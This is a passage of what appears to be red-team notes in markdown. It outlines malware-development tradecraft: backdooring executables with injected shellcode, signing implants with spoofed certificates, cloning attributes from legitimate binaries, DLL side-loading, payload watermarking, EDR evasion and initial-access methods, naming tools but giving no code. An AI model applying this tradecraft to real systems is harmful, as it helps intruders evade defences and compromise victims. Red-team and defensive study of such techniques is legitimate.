Evasion:** Aiming for a universal "0 detection rate" can be time-consuming. It's often more effective to gather intelligence on the target's specific security solutions and focus evasion efforts accordingly.700701#### Offensive CI/CD Pipeline702703- RedTeam Malware Development704- Test Stability, Reliability, Security705- Artifact Obfuscation706- Test Against Offline EDR707- Watermarking & IOC Collection708- Operational Use709- Implant Tracking in Threat Intelligence Feeds710711#### PE Backdoor712713- Inject Shellcode Into Legitimate Executable714 - middle of current code section715 - into separate section716- Redirect Execution717 - change `AdressOfEntryPoint`718 - Hijack branching call `JMP, CALL`719 - TLS Callback720- Sign it With Self-signed/Custom Authentication721 - `LimeLighter`722 - `Mangle`723 - `ScareCrow`724 - `osslsigncode.exe`725- **Spoofed Certificates:** Signing an implant, even with a spoofed or invalid certificate, can sometimes reduce detection by AVs that don't thoroughly validate the certificate chain. However, be aware of potential legal consequences.726- **Timestamping:** The choice of Time Stamp Authority (TSA) server when signing can also unexpectedly influence detection rates by different AV products.727728#### PE Watermarking729730- Keep Track of implant/malware/IOC731- Inject Custom Watermark to Payloads and Poll VirusTotal732- Where to Inject733 - DOS Stub734 - PE Header Properties: TimeStamp, Checksum735 - Overlay736 - Additional PE Section737 - Resources: Version Information, Manifest738- What Should it Look Like739 - Random SHA256 might be enough740 - Encrypted engagement metadata741742#### PE Attribute Cloning and Code Signing Considerations743744- **Cloning Attributes:** Copying file attributes (version information, icons, product names, original filenames, etc.) from legitimate binaries can help an implant blend in.745 - When cloning, choose binaries that are legitimately present and commonly used on the target system. For instance, cloning an iTunes binary for a Windows Server target would be suspicious.746 - Consider cloning attributes from _unsigned_ legitimate Windows binaries (e.g., `at.exe`) and not signing the implant. This may be more effective than cloning a _signed_ binary (like `RuntimeBroker.exe`) and then signing the implant with a spoofed certificate, especially if the EDR/AV can easily verify signatures of its own system's binaries.747- **Testing is Crucial:** Always test cloned and/or signed implants on a system mimicking the target environment, as behavior can differ significantly from online scanning services.748749### Shellcode750751For detailed information on shellcode loaders, techniques, and implementation, including:752753- Allocation, write, and execution phases754- Local vs remote injection755- Methods to hide shellcode756- Storage solutions (including Certificate Table approach)757758See the [Shellcode documentation](exploit/shellcode.md).759760### Formats761762- `EXE`763 - use `EV Cert` code signing if you can afford it764 - otherwise self-signed `LimeLighter,ScareCrow,osslsigncode`765- `DLL`766 - typical no subject for prevalence/reputation score767 - offer delayed & de-chained execution primitives768 - not visible in process list769 - facilitate DLL hijacking attacks770 - can be used by `LOLBIN`771 - cleanup is hard, to remove first need to exit threads and then free that library772 - call `kernel32!FreeLibraryAndExitThread` when your evil DLL execution is done773 - keep `DLLMain` as simple as possible, or better don't used it at all, use the bullet point below774 - DLL hijacking/proxying/side-loading/planting/search-order hijacking to evade detection775 - use [Spartacus](https://github.com/sadreck/Spartacus) or [Crassus](https://github.com/vu-ls/Crassus) for DLL Hijacking automation776 - for DLL Side-Loading use `Frida+WFH`,`Koppeling`, `Siofra` or `Spartacus` and `Crassus`777 - Beware MS Defender might trigger on DLL Side-Loading/Hijacking778- `CPL`779 - control panel applet780 - double-clickable781- `WLL`782 - word add-in783 - not double-clickable784- `XLL`785 - excel add-in786 - double-clickable787 - if has `MOTW` gets blocked788789### Additional Evasion Techniques790791For detailed information on EDR evasion techniques, including:792793- String obfuscation794- Entropy manipulation and file bloating795- Time-delayed execution796- Sandbox detection and environmental keying797- AMSI and ETW evasion798- Call stack obfuscation799- DripLoader technique800801See the [EDR Evasion documentation](exploit/edr.md).802803## Emerging Initial-Access804805- Cloud identity & OAuth token theft (AiTM proxy kits, consent phishing, pass‑the‑cookie).806- MFA fatigue / prompt bombing.807- Exploiting edge devices & perimeter zero‑days (Ivanti, Citrix, Fortinet, Atlassian, etc.).808- Third‑party package & CI/CD compromise809810…(truncated)